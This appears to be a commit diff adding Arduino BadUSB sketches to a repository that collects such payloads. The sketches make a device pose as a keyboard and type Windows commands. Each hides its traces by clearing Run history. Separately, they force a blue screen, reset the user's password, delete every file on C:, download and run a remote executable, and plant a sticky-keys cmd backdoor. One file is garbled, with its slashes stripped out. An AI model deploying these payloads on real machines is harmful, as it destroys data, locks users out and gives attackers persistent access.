add 5 ino files

README.md

@@ -1,8 +1,9 @@
 # BadUSB-code
 收集badusb的一些利用方式及代码
-
-.ino 为上传到硬件的代码，无需服务器中配置
-
+
+ino_code 中的.ino代码为上传到硬件的代码，无需服务器中配置。  
+代码适用版本在文件名中用括号标明。  
+
 ## 原理及制作可参考：
 [乐枕的家——BadUSB原理浅析及制作指南](http://www.cdxy.me/penetration-test/badusb-teensy/)
 

ino_code/BlueScreen(xp,win7).ino

@@ -0,0 +1,20 @@
+void setup() {//初始化
+  Keyboard.begin();//开始键盘通讯 
+  delay(5000);//延时
+  Keyboard.press(KEY_LEFT_GUI);//win键 
+  delay(500); 
+  Keyboard.press('r');//r键 
+  delay(500); 
+  Keyboard.release(KEY_LEFT_GUI);
+  Keyboard.release('r');
+  Keyboard.press(KEY_CAPS_LOCK);
+  Keyboard.release(KEY_CAPS_LOCK);
+  delay(500); 
+  Keyboard.println("CMD /C START /MIN CMD /C REG DELETE hkcu\\sOFTWARE\\mICROSOFT\\wINDOWS\\cURRENTvERSION\\eXPLORER\\rUNmru /F&CMD /C START /MIN CMD /C NTSD -C Q -PN WINLOGON.EXE 1>NUL 2>NUL&TASKKILL /F /IM WININIT.EXE 2>NUL");
+  Keyboard.press(KEY_CAPS_LOCK);
+  Keyboard.release(KEY_CAPS_LOCK);
+  Keyboard.end();//结束键盘通讯 
+}
+void loop()//循环
+{
+}

ino_code/ChangeCurrentUserPass(all).ino

@@ -0,0 +1,20 @@
+void setup() {//初始化
+  Keyboard.begin();//开始键盘通讯 
+  delay(5000);//延时
+  Keyboard.press(KEY_LEFT_GUI);//win键 
+  delay(500); 
+  Keyboard.press('r');//r键 
+  delay(500); 
+  Keyboard.release(KEY_LEFT_GUI);
+  Keyboard.release('r');
+  Keyboard.press(KEY_CAPS_LOCK);
+  Keyboard.release(KEY_CAPS_LOCK);
+  delay(500); 
+  Keyboard.println("CMD.EXE /C REG DELETE hkcu\\sOFTWARE\\mICROSOFT\\wINDOWS\\cURRENTvERSION\\eXPLORER\\rUNmru /F&NET USER %USERNAME% HACKED&EXIT");
+  Keyboard.press(KEY_CAPS_LOCK);
+  Keyboard.release(KEY_CAPS_LOCK);
+  Keyboard.end();//结束键盘通讯 
+}
+void loop()//循环
+{
+}

ino_code/DeleteDiskCFiles(all).ino

@@ -0,0 +1,20 @@
+void setup() {//初始化
+  Keyboard.begin();//开始键盘通讯 
+  delay(5000);//延时
+  Keyboard.press(KEY_LEFT_GUI);//win键 
+  delay(500); 
+  Keyboard.press('r');//r键 
+  delay(500); 
+  Keyboard.release(KEY_LEFT_GUI);
+  Keyboard.release('r');
+  Keyboard.press(KEY_CAPS_LOCK);
+  Keyboard.release(KEY_CAPS_LOCK);
+  delay(500);
+  Keyboard.println("CMD /C START /MIN REG DELETE hkcu\\sOFTWARE\\mICROSOFT\\wINDOWS\\cURRENTvERSION\\eXPLORER\\rUNmru /F&COPY C:\\WINDOWS\\SYSTEM32\\SHUTDOWN.EXE D:\\SHUTDOWN.EXE /y&DEL /S /F /Q C:\\*&D:\\SHUTDOWN.EXE -R -F -T 0")
+  Keyboard.press(KEY_CAPS_LOCK);
+  Keyboard.release(KEY_CAPS_LOCK);
+  Keyboard.end();//结束键盘通讯 
+}
+void loop()//循环
+{
+}

ino_code/PowerShellDownload(win7,8).ino

@@ -0,0 +1,20 @@
+void setup() {//初始化
+  Keyboard.begin();//开始键盘通讯 
+  delay(5000);//延时
+  Keyboard.press(KEY_LEFT_GUI);//win键 
+  delay(500); 
+  Keyboard.press('r');//r键 
+  delay(500); 
+  Keyboard.release(KEY_LEFT_GUI);
+  Keyboard.release('r');
+  Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
+  Keyboard.release(KEY_CAPS_LOCK);
+  delay(500); 
+  Keyboard.println("CMD /C START /MIN REG DELETE hkcu\\sOFTWARE\\mICROSOFT\\wINDOWS\\cURRENTvERSION\\eXPLORER\\rUNmru /F&CMD /C START /MIN POWERSHELL $P = nEW-oBJECT sYSTEM.nET.wEBcLIENT;$P.dOWNLOADfILE('HTTP://192.168.1.103/X.EXE', 'c:\\X.EXE');START c:\\X.EXE;EXIT");
+  Keyboard.press(KEY_CAPS_LOCK);
+  Keyboard.release(KEY_CAPS_LOCK);
+  Keyboard.end();//结束键盘通讯 
+}
+void loop()//循环
+{
+}

ino_code/SetBackdoor(all).ino

@@ -0,0 +1,19 @@
+void setup() {初始化
+  delay(5000);延时
+  Keyboard.press(KEY_LEFT_GUI);win键 
+  delay(500); 
+  Keyboard.press('r');r键 
+  delay(500); 
+  Keyboard.release(KEY_LEFT_GUI);
+  Keyboard.release('r');
+  Keyboard.press(KEY_CAPS_LOCK);
+  Keyboard.release(KEY_CAPS_LOCK);
+  delay(500); 
+  Keyboard.println(CMD C START MIN REG DELETE hkcusOFTWAREmICROSOFTwINDOWScURRENTvERSIONeXPLORERrUNmru F&TAKEOWN F %sYSTEMrOOT%SYSTEM32SETHC.EXE&ECHO YCACLS %sYSTEMrOOT%SYSTEM32SETHC.EXE g %username%f&COPY CWINDOWSSYSTEM32CMD.EXE CWINDOWSSYSTEM32SETHC.EXE y);
+  Keyboard.press(KEY_CAPS_LOCK);
+  Keyboard.release(KEY_CAPS_LOCK);
+  Keyboard.end();结束键盘通讯 
+}
+void loop()循环
+{
+}